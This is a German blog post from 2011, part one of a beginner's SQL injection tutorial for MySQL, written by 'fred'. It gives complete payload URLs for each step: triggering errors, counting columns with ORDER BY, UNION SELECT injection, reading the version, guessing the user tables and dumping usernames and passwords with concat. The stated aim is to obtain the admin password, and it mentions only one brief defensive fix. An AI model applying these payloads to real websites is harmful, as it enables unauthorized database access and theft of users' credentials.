Sonntag, 10. April 2011

SQL Injection Tutorial Teil 1

Heyhoo,
wie versprochen werde ich nun, nachdem sich der ganze Schulkram etwas gelegt hat,  das vielleicht von einigen lang erwartete SQL Injection Tutorial schreiben.  Das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder ähnliches sieht das ganze total anders aus. Da MySQL die “populärste Open Source” Datenbank ist, wird sie daher auch am häufigsten verwendet.
Was ist eine SQL Injection?
Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:
SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.
Heißt kurz und knapp, ihr koennt an das Admin PW kommen. :D
Nun ich werde das Tutorial in mehrere Teile aufteilen, der erste Teil wird der längste und ausführlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.
Dann fangen wir mal an ;)
0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen für eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man öfters und schneller Lücken finden. Auch wird man Lücken nachvollziehen können; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu produzieren, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen können. Das reicht dann auch für ne normale SQL Injection.
1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma (dieses ‘) dranhängen um einen Error auszuloesen, beispiel:
http://www.site.de/news.php?id=5'
Wenn sich an der Seite nun nichts ändert, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…
Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die Verwundbarkeit zeigen.
Schauen wir uns das mal genauer in einem Beispiel Source an:
SELECT * FROM news WHERE id = 5'
Hier sieht man das unser Hochkomma das Query stört.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann wäre auch keine SQL Injection möglich)
Aber unser Query koennte auch so aussehen:
SELECT * FROM news WHERE id = '5''
Jedoch auch hier sieht man was stört. Nämlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Lücke gefunden.
Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True prüfen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page verändert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt ändert, oder ne Fehlermeldung kommt. Seht ihr dann auch.
2) Anzahl der Columns rausfinden
Da wir später den Befehl UNION benutzen wollen (dazu später mehr), brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewählt werden, würde unser Query aber so aussehen:
SELECT author,datum,text FROM news WHERE id = 5
Dann wäre die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, müssen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:
http://www.site.de/news.php?id=5+order+by+1/*
(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhängen, dies ist Query abhängig.
Falls noch ein Error kommt, müssen wir unsere Abfrage mit einem anderen Kommentarzeichen ändern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normalerweise immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.
http://www.site.de/news.php?id=5+order+by+5/*
<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“
http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error
http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.
Nun haben wir die Column Anzahl vom ersten Query.
3) UNION verwenden
Durch UNION können wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:
SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*
Auch hier ist das Auskommentieren am Schluss wichtig.
Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, müssen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:
http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*
Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ :)
So falls ihr nun auf dem Bildschirm Zahlen seht, die 1,2 oder 3 enthalten, dann funktioniert unser UNION SELECT Statement sehr häufig oder eigentlich sogut wie immer. Sieht dann so aus:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*
Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column-Anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das müsste man dann anders machen, wird in Teil 3 meines Tutorials genauer drauf eingegangen.
4) MySQL Version ermitteln
So, wenn wir nun eine 1,2 oder 3 auf dem  Bildschirm sehen, dann können wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x66 und sehen beim Drücken auf Enter auf einmal dort wo die 2 war “f” stehen :D
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir auf dem Bildschirm sehen und ersetzen es in der URL mit version().
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*
(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*
(ich benutzt das erstere lieber)
Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.
Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“
Dann muessen wir die Convert Funktion benutzen, in diesem falle dann
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*
oder
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*
Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.
Bsp.:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*
Nun wird die Version angezeigt und es erscheint kein Fehler mehr.
5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.
V4 ist ein bisschen blöd, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.
Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, müssen wir ein zweites simples MySQL Query machen.
...UNION SELECT 1,2,3 FROM tabelle
Das heißt wir wollen schauen, ob die Tabelle existiert. “Wähle aus von Tabelle”.
Wie sieht das nun bei uns aus?
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*
Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*
In unserem MySQL Query heißt das nun also:
...UNION SELECT 1,username,3 FROM users/*
Wähle Username aus Tabelle “users”.
Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.
Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. :)
Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
0x3a = hex = (ein Doppelpunkt) :
Nun sehen wir dort:
username:password
Und eine Erfolgreiche SQL Injection.
So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verständlich vorallem für Anfänger geworden.

~fred

Keine Kommentare:

Kommentar veröffentlichen